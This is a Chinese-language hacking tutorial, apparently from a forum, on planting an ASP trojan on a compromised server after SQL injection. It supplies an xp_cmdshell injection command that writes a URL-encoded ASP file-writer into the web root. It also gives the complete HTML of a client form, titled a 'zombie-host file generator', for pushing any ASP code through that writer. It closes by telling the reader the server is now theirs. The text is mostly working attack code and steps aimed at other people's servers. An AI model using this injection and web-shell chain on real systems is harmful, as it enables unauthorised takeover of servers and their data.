本文適合有sa許可權sqlserver資料庫、並且能sql注入支援fso+asp的伺服器
SQL注入後,如何上傳木馬,一直是比較頭疼的事,我這裡提供上傳木馬的一種另一種方法。
1、SQL注入的時候,用xp_cmdshell 向伺服器上寫入一個能寫檔案的asp檔案。
檔案內容:
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
這個檔案可以寫成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>
將特殊字元進行編碼 就可以得到 %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E
注入(這裡假定web目錄是C:/Inetpub/wwwroot/):
exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:/Inetpub/wwwroot/ftp.asp';
這樣 在伺服器的web 目錄下 將產生一個 ftp.asp檔案
該檔案的代碼為
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
你可以看到,上面代碼中預留了兩個介面 mypath 和 mydata
mypath是下次提交的時候 檔案的產生路徑
mydata是檔案的內容
在本地編寫一個用戶端檔案 例:RohuClient.htm 代碼如下
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉雞檔案產生器--用戶端 製作:絕對零度 QQ:12216796</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋體;
SCROLLBAR-FACE-COLOR: #eeeeee;
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
SCROLLBAR-SHADOW-COLOR: #dee3e7;
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc;
SCROLLBAR-ARROW-COLOR: #006699;
SCROLLBAR-TRACK-COLOR: #ededed;
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}
A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋體";
background-color: #f9f9f9;
font-size: 9pt ;
border: 1px #d2d2d2 dobble;
line-height:120%;
}
-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value=='')
{
alert('請輸入遞交的地址!');
theform.ftpUrl.focus();
return false;
}
if(theform.MyPath.value=='')
{
alert('請輸入組建檔案的位置!');
theform.MyPath.focus();
return false;
}
if(theform.MyData.value=='')
{
alert('請輸入組建檔案的內容!');
theform.MyData.focus();
return false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">
<table width="673" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="11%">目標位置:</td>
<td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">
例:http://127.0.0.1/FTP.ASP<;/td>
</tr>
<tr>
<td>組建檔案:</td>
<td><input name="MyPath" type="text" id="MyPath">
將在伺服器上,產生的檔案路徑。例:
C:/Inetpub/wwwroot/Server.asp </td>
</tr>
<tr>
<td valign="top">檔案代碼:</td>
<td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="提交"></td>
</tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">著作權:絕對零度(<a href="http://www.rohu.com";>虎盟</a>)</td>
</tr>
</table>
</body>
</html>
在目標位置欄填上剛剛產生的ftp.asp檔案的url地址
如 http://127.0.0.1/ftp.asp (這裡假設伺服器的ip是 127.0.0.1)
在組建檔案欄 輸入將在伺服器上產生的檔案名稱 比如:C:/Inetpub/wwwroot/Server.asp
在檔案內容裡 ,隨意的粘貼一個asp代碼
點遞交,當http://127.0.0.1/ftp.asp 檔案執行完畢 基本上伺服器上的asp木馬就產生了。
瀏覽 http://127.0.0.1/Server.ASP 呵呵 伺服器就是你的了。